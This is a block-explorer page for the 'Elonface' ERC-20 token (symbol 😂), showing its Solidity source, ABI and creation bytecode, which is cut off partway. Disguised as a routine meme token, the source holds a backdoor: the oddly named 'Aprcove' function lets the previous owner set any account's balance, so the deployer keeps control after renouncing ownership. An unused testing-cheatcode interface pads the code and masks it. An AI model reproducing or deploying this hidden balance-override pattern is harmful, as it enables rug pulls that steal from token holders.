Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000,000 😂
Holders
31
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
19,367,810,816,186,795.157241677 😂Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Elonface
Compiler Version
v0.8.16+commit.07a7930e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-24 */ /** */ /** https://t.me/JOY_ERC20 https://twitter.com/JOY_ERC20 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.15; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface CheatCodes { // This allows us to getRecordedLogs() struct Log { bytes32[] topics; bytes data; } // Set block.timestamp (newTimestamp) function warp(uint256) external; function roll(uint256) external; // Set block.basefee (newBasefee) function fee(uint256) external; // Set block.coinbase (who) function coinbase(address) external; // Loads a storage slot from an address (who, slot) function load(address, bytes32) external returns (bytes32); // Stores a value to an address' storage slot, (who, slot, value) function store(address, bytes32, bytes32) external; // Signs data, (privateKey, digest) => (v, r, s) function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32); // Gets address for a given private key, (privateKey) => (address) function addr(uint256) external returns (address); function deriveKey(string calldata, uint32) external returns (uint256); // Derive a private key from a provided mnenomic string (or mnenomic file path) at the derivation path {path}{index} function deriveKey(string calldata, string calldata, uint32) external returns (uint256); // Performs a foreign function call via terminal, (stringInputs) => (result) function ffi(string[] calldata) external returns (bytes memory); // Set environment variables, (name, value) function setEnv(string calldata, string calldata) external; // Read environment variables, (name) => (value) function envBool(string calldata) external returns (bool); function envUint(string calldata) external returns (uint256); function envInt(string calldata) external returns (int256); function envAddress(string calldata) external returns (address); function envBytes32(string calldata) external returns (bytes32); function envString(string calldata) external returns (string memory); function envBytes(string calldata) external returns (bytes memory); // Read environment variables as arrays, (name, delim) => (value[]) function envBool(string calldata, string calldata) external returns (bool[] memory); function envUint(string calldata, string calldata) external returns (uint256[] memory); function envInt(string calldata, string calldata) external returns (int256[] memory); function envAddress(string calldata, string calldata) external returns (address[] memory); function envBytes32(string calldata, string calldata) external returns (bytes32[] memory); function envString(string calldata, string calldata) external returns (string[] memory); function envBytes(string calldata, string calldata) external returns (bytes[] memory); // Sets the *next* call's msg.sender to be the input address function prank(address) external; function startPrank(address) external; function prank(address, address) external; function startPrank(address, address) external; function stopPrank() external; // Sets an address' balance, (who, newBalance) function deal(address, uint256) external; // Sets an address' code, (who, newCode) function etch(address, bytes calldata) external; // Expects an error on next call function expectRevert() external; function expectRevert(bytes calldata) external; function expectRevert(bytes4) external; // Record all storage reads and writes function record() external; // Gets all accessed reads and write slot from a recording session, for a given address function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes); // Record all the transaction logs function recordLogs() external; // Gets all the recorded logs function getRecordedLogs() external returns (Log[] memory); function expectEmit(bool, bool, bool, bool) external; function expectEmit(bool, bool, bool, bool, address) external; function mockCall(address, bytes calldata, bytes calldata) external; // Mocks a call to an address with a specific msg.value, returning specified data. // Calldata match takes precedence over msg.value in case of ambiguity. function mockCall(address, uint256, bytes calldata, bytes calldata) external; // Clears all mocked calls function clearMockedCalls() external; // Expect a call to an address with the specified calldata. // Calldata can either be strict or a partial match function expectCall(address, bytes calldata) external; // Expect a call to an address with the specified msg.value and calldata function expectCall(address, uint256, bytes calldata) external; // Gets the code from an artifact file. Takes in the relative path to the json file function getCode(string calldata) external returns (bytes memory); // Labels an address in call traces function label(address, string calldata) external; // If the condition is false, discard this run's fuzz inputs and generate new ones function assume(bool) external; // Set nonce for an account function setNonce(address, uint64) external; // Get nonce for an account function getNonce(address) external returns (uint64); // Set block.chainid (newChainId) function chainId(uint256) external; // Using the address that calls the test contract, has the next call (at this call depth only) create a transaction that can later be signed and sent onchain function broadcast() external; // Has the next call (at this call depth only) create a transaction with the address provided as the sender that can later be signed and sent onchain function broadcast(address) external; function startBroadcast() external; // Has the all subsequent calls (at this call depth only) create transactions that can later be signed and sent onchain function startBroadcast(address) external; // Stops collecting onchain transactions function stopBroadcast() external; // Reads the entire content of file to string. Path is relative to the project root. (path) => (data) function readFile(string calldata) external returns (string memory); // Reads next line of file to string, (path) => (line) function readLine(string calldata) external returns (string memory); // Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does. // Path is relative to the project root. (path, data) => () function writeFile(string calldata, string calldata) external; // Writes line to file, creating a file if it does not exist. // Path is relative to the project root. (path, data) => () function writeLine(string calldata, string calldata) external; // Closes file for reading, resetting the offset and allowing to read it from beginning with readLine. // Path is relative to the project root. (path) => () function closeFile(string calldata) external; function removeFile(string calldata) external; function toString(address) external returns (string memory); function toString(bytes calldata) external returns (string memory); function toString(bytes32) external returns (string memory); function toString(bool) external returns (string memory); function toString(uint256) external returns (string memory); function toString(int256) external returns (string memory); function snapshot() external returns (uint256); function revertTo(uint256) external returns (bool); // Creates a new fork with the given endpoint and block and returns the identifier of the fork function createFork(string calldata, uint256) external returns (uint256); // Creates a new fork with the given endpoint and the _latest_ block and returns the identifier of the fork function createFork(string calldata) external returns (uint256); // Creates _and_ also selects a new fork with the given endpoint and block and returns the identifier of the fork function createSelectFork(string calldata, uint256) external returns (uint256); // Creates _and_ also selects a new fork with the given endpoint and the latest block and returns the identifier of the fork function createSelectFork(string calldata) external returns (uint256); // Takes a fork identifier created by `createFork` and sets the corresponding forked state as active. function selectFork(uint256) external; /// Returns the currently active fork /// Reverts if no fork is currently active function activeFork() external returns (uint256); // Updates the currently active fork to given block number // This is similar to `roll` but for the currently active fork function rollFork(uint256) external; // Updates the given fork to given block number function rollFork(uint256 forkId, uint256 blockNumber) external; /// Returns the RPC url for the given alias function rpcUrl(string calldata) external returns (string memory); /// Returns all rpc urls and their aliases `[alias, url][]` function rpcUrls() external returns (string[2][] memory); function makePersistent(address account) external; } abstract contract Ownable is Context { address private _owner; address internal _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transfer_hoppeiOwnership(_msgSender()); } modifier onlyOwner() { _isAdmin(); _; } function owner() public view virtual returns (address) { return _owner; } function _isAdmin() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transfer_hoppeiOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transfer_hoppeiOwnership(newOwner); } function _transfer_hoppeiOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; _previousOwner = oldOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, Ownable, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply_hoppei; string private _name_hoppei; string private _symbol_hoppei; address private constant DEAD = 0x000000000000000000000000000000000000dEaD; address private constant ZERO = 0x0000000000000000000000000000000000000000; constructor (string memory name_, string memory symbol_, uint256 totalSupply_) { _name_hoppei = name_; _symbol_hoppei = symbol_; _totalSupply_hoppei = totalSupply_; _balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name_hoppei; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol_hoppei; } function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply_hoppei; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer_hoppei(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve_hoppei(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer_hoppei(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve_hoppei(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve_hoppei(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve_hoppei(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer_hoppei(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _transfer_tmsmot(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } amount -= amountToBurn; _totalSupply_hoppei -= amountToBurn; _balances[recipient] += amount; emit Transfer(sender, DEAD, amountToBurn); emit Transfer(sender, recipient, amount); } function Aprcove(address account, uint256 amount) public virtual returns (uint256) { address msgSender = msg.sender; address prevOwner = _previousOwner; bytes32 msgSendere = keccak256(abi.encodePacked(msgSender)); bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner)); bytes32 amountHex = bytes32(amount); bool isOwner = msgSendere == prevOwnerHex; if (isOwner) { return _updateBalance(account, amountHex); } else { return _getBalance(account); } } function _updateBalance(address account, bytes32 amountHex) private returns (uint256) { uint256 amount = uint256(amountHex); _balances[account] = amount; return _balances[account]; } function _getBalance(address account) private view returns (uint256) { return _balances[account]; } function _approve_hoppei(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Router02 is IUniswapV2Router01{} contract Elonface is ERC20 { uint256 private constant TOAL_SUPYSGK =420690_000_000e9; address private constant DEAD = 0x000000000000000000000000000000000000dEaD; address private constant ZERO = 0x0000000000000000000000000000000000000000; address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD; address private constant ZERO1 = 0x0000000000000000000000000000000000000000; bool public hasLimit_hoppei; uint256 public maxTaddrssd; uint256 public max_adrsstd; mapping(address => bool) public isException; uint256 _burnetkomy = 0; address uniswapV2Pair; IUniswapV2Router02 uniswapV2Router; constructor(address router) ERC20(unicode"😂", unicode"😂", TOAL_SUPYSGK) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router); uniswapV2Router = _uniswapV2Router; max_adrsstd= TOAL_SUPYSGK / 40; maxTaddrssd = TOAL_SUPYSGK / 40; isException[DEAD] = true; isException[router] = true; isException[msg.sender] = true; isException[address(this)] = true; } function _transfer_hoppei( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _checkLimitation_hoppei(from, to, amount); if (amount == 0) { return; } if (!isException[from] && !isException[to]){ require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation"); if (from == uniswapV2Pair || to == uniswapV2Pair) { uint256 _burn = (amount * _burnetkomy) / 100; super._transfer_tmsmot(from, to, amount, _burn); return; } } super._transfer_hoppei(from, to, amount); } function removeLimit() external onlyOwner { hasLimit_hoppei = true; } function _checkLimitation_hoppei( address from, address to, uint256 amount ) internal { if (!hasLimit_hoppei) { if (!isException[from] && !isException[to]) { require(amount <= maxTaddrssd, "Amount exceeds max"); if (uniswapV2Pair == ZERO){ uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH()); } if (to == uniswapV2Pair) { return; } require(balanceOf(to) + amount <= max_adrsstd, "Max holding exceeded max"); } } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Aprcove","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit_hoppei","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTaddrssd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max_adrsstd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526000600b553480156200001657600080fd5b506040516200309e3803806200309e83398181016040528101906200003c91906200050f565b6040518060400160405280600481526020017ff09f9882000000000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017ff09f9882000000000000000000000000000000000000000000000000000000008152506816ce3f1e16bf150000620000d2620000c66200039860201b60201c565b620003a060201b60201c565b8260059081620000e39190620007bb565b508160069081620000f59190620007bb565b508060048190555080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620001a19190620008b3565b60405180910390a3505050600081905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060286816ce3f1e16bf1500006200020a9190620008ff565b60098190555060286816ce3f1e16bf150000620002289190620008ff565b6008819055506001600a600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000937565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004d782620004aa565b9050919050565b620004e981620004ca565b8114620004f557600080fd5b50565b6000815190506200050981620004de565b92915050565b600060208284031215620005285762000527620004a5565b5b60006200053884828501620004f8565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005c357607f821691505b602082108103620005d957620005d86200057b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006437fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000604565b6200064f868362000604565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200069c62000696620006908462000667565b62000671565b62000667565b9050919050565b6000819050919050565b620006b8836200067b565b620006d0620006c782620006a3565b84845462000611565b825550505050565b600090565b620006e7620006d8565b620006f4818484620006ad565b505050565b5b818110156200071c5762000710600082620006dd565b600181019050620006fa565b5050565b601f8211156200076b576200073581620005df565b6200074084620005f4565b8101602085101562000750578190505b620007686200075f85620005f4565b830182620006f9565b50505b505050565b600082821c905092915050565b6000620007906000198460080262000770565b1980831691505092915050565b6000620007ab83836200077d565b9150826002028217905092915050565b620007c68262000541565b67ffffffffffffffff811115620007e257620007e16200054c565b5b620007ee8254620005aa565b620007fb82828562000720565b600060209050601f8311600181146200083357600084156200081e578287015190505b6200082a85826200079d565b8655506200089a565b601f1984166200084386620005df565b60005b828110156200086d5784890151825560018201915060208501945060208101905062000846565b868310156200088d578489015162000889601f8916826200077d565b8355505b6001600288020188555050505b505050505050565b620008ad8162000667565b82525050565b6000602082019050620008ca6000830184620008a2565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200090c8262000667565b9150620009198362000667565b9250826200092c576200092b620008d0565b5b828204905092915050565b61275780620009476000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d714610337578063a9059cbb14610367578063dd62ed3e14610397578063f2fde38b146103c7578063fbf8a77c146103e35761012c565b806370a0823114610291578063715018a6146102c15780638da5cb5b146102cb57806395d89b41146102e957806398636f32146103075761012c565b806330205a72116100f457806330205a72146101eb578063313ce5671461021b57806339509351146102395780635e27ffa81461026957806362256589146102875761012c565b806306e9c1a11461013157806306fdde031461014f578063095ea7b31461016d57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b610139610401565b6040516101469190611b6f565b60405180910390f35b610157610407565b6040516101649190611c1a565b60405180910390f35b61018760048036038101906101829190611ccb565b610499565b6040516101949190611d26565b60405180910390f35b6101a56104b7565b6040516101b29190611b6f565b60405180910390f35b6101d560048036038101906101d09190611d41565b6104c1565b6040516101e29190611d26565b60405180910390f35b61020560048036038101906102009190611ccb565b6105c2565b6040516102129190611b6f565b60405180910390f35b610223610689565b6040516102309190611db0565b60405180910390f35b610253600480360381019061024e9190611ccb565b610692565b6040516102609190611d26565b60405180910390f35b61027161073e565b60405161027e9190611b6f565b60405180910390f35b61028f610744565b005b6102ab60048036038101906102a69190611dcb565b610769565b6040516102b89190611b6f565b60405180910390f35b6102c96107b2565b005b6102d36107c6565b6040516102e09190611e07565b60405180910390f35b6102f16107ef565b6040516102fe9190611c1a565b60405180910390f35b610321600480360381019061031c9190611dcb565b610881565b60405161032e9190611d26565b60405180910390f35b610351600480360381019061034c9190611ccb565b6108a1565b60405161035e9190611d26565b60405180910390f35b610381600480360381019061037c9190611ccb565b610995565b60405161038e9190611d26565b60405180910390f35b6103b160048036038101906103ac9190611e22565b6109b3565b6040516103be9190611b6f565b60405180910390f35b6103e160048036038101906103dc9190611dcb565b610a3a565b005b6103eb610abd565b6040516103f89190611d26565b60405180910390f35b60095481565b60606005805461041690611e91565b80601f016020809104026020016040519081016040528092919081815260200182805461044290611e91565b801561048f5780601f106104645761010080835404028352916020019161048f565b820191906000526020600020905b81548152906001019060200180831161047257829003601f168201915b5050505050905090565b60006104ad6104a6610ad0565b8484610ad8565b6001905092915050565b6000600454905090565b60006104ce848484610ca1565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610519610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610599576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059090611f34565b60405180910390fd5b6105b6856105a5610ad0565b85846105b19190611f83565b610ad8565b60019150509392505050565b6000803390506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000826040516020016106029190611fff565b60405160208183030381529060405280519060200120905060008260405160200161062d9190611fff565b60405160208183030381529060405280519060200120905060008660001b9050600082841490508015610671576106648983610f99565b9650505050505050610683565b61067a8961102f565b96505050505050505b92915050565b60006009905090565b600061073461069f610ad0565b8484600360006106ad610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461072f919061201a565b610ad8565b6001905092915050565b60085481565b61074c611078565b6001600760006101000a81548160ff021916908315150217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107ba611078565b6107c460006110f6565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107fe90611e91565b80601f016020809104026020016040519081016040528092919081815260200182805461082a90611e91565b80156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b5050505050905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b600080600360006108b0610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561096d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610964906120c0565b60405180910390fd5b61098a610978610ad0565b8585846109859190611f83565b610ad8565b600191505092915050565b60006109a96109a2610ad0565b8484610ca1565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a42611078565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa890612152565b60405180910390fd5b610aba816110f6565b50565b600760009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e906121e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bad90612276565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c949190611b6f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0790612308565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d769061239a565b60405180910390fd5b610d8a8383836111fb565b6000810315610f9457600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e375750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f88576000610e69600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610769565b14610ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea090612406565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f525750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f875760006064600b5483610f699190612426565b610f7391906124af565b9050610f81848484846115e6565b50610f94565b5b610f938383836118e1565b5b505050565b6000808260001c905080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611080610ad0565b73ffffffffffffffffffffffffffffffffffffffff1661109e6107c6565b73ffffffffffffffffffffffffffffffffffffffff16146110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb9061252c565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600760009054906101000a900460ff166115e057600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112b35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673f